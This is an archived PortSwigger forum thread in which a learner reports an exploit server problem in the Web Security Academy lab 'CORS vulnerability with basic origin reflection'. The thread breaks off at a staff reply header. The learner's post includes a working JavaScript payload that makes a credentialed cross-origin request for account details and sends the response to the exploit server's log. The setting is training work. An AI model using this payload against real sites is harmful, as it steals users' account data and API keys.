Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: CORS vulnerability with basic origin reflection - exploit server is broken

Jack | Last updated: Jul 12, 2024 01:20PM UTC

view exploit working, log shows what is should for wiener, but not when delivered see gif: https://ibb.co/b63N1gM Please note that I used the same script as in the solution and still not working! My script was: only changed the lab url: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0afa00a7041b933a8170118b00cb0013.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> Why exploit server is so buggy at so many labs? I feel like my learning process is seriously endangered by these extremely frustrating bugs. Can somebody please fix this? Can you please confirm that exploit server is buggy in general?

Jack | Last updated: Jul 12, 2024 01:41PM UTC

eventually somehow i was the log but it has like 5% change and you can reproduce easily by trying as described. So my problem is still relevant because I can not learn if I am blocked by exploit server bugs in every server

Jack | Last updated: Jul 12, 2024 01:42PM UTC

i had the log*

Ben, PortSwigger Agent | Last updated: Jul 15, 2024 08:25AM UTC